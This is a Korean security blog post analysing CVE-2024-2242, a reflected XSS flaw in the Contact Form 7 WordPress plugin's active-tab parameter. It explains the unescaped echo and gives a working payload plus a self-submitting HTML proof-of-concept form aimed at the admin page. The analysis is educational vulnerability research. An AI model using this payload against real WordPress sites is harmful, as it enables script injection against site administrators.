Psalm

CVE-2024-2242 본문

보안공부/1-day 취약점 분석

CVE-2024-2242

hkhkhkh 2025. 1. 20. 16:56
반응형

개요

Contact Form 7 플러그인 5.9 이전 버전까지 모든 버전에서 active-tab 매개변수를 통한 Reflect XSS 취약점이 발생합니다.

분석

취약점은 contact-form 편집하는 곳에서 발생합니다. 글을 편집하고 저장을 누르면 active-tab 파라미터로 값이 전달됩니다. 만약 여기에 악성 스크립트가 삽입된다면 XSS 취약점이 발생합니다.

edit_contact-form.php

편집 기능이 있는 edit_contact-form.php 코드입니다. active-tab으로 전달되는 값이 echo 뒤에 $_GET 요청으로 입력값 검증 없이 바로 처리하고 있으므로 Reflected XSS 취약점이 발생하게 됩니다.

취약점 테스트

contact form 편집에서 글을 작성하고, 저장합니다.

active-tab 값을 따로 설정하지 않으면 ‘0’으로 설정됩니다. 이 부분에 '"><svg/onload=prompt(7);>{{7*7}} 페이로드를 삽입하면 input 태그가 닫히면서 뒤에 악성 스크립트가 실행됩니다.

POC

<html>
  <body>
    <form action="http://localhost:5000/wp-admin/admin.php">
      <input type="hidden" name="page" value="wpcf7" />
      <input type="hidden" name="post" value="212" /> <!-- post id -->
      <input type="hidden" name="cftsearch_submit" value="1" />
      <input type="hidden" name="active&#45;tab" value="&apos;&quot;&gt;&lt;svg&#47;onload&#61;prompt&#40;7&#41;&#59;&gt;&#123;&#123;7&#42;7&#125;&#125;" />
      <label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

reference: https://github.com/RandomRobbieBF/CVE-2024-2242

반응형

'보안공부 > 1-day 취약점 분석' 카테고리의 다른 글

CVE-2024-5084  (0) 2025.01.13
CVE-2024-10924  (1) 2024.12.13
CVE-2024-27954  (0) 2024.12.03
CVE-2024-4439  (0) 2024.11.13
CVE-2024-27956  (1) 2024.11.05
Comments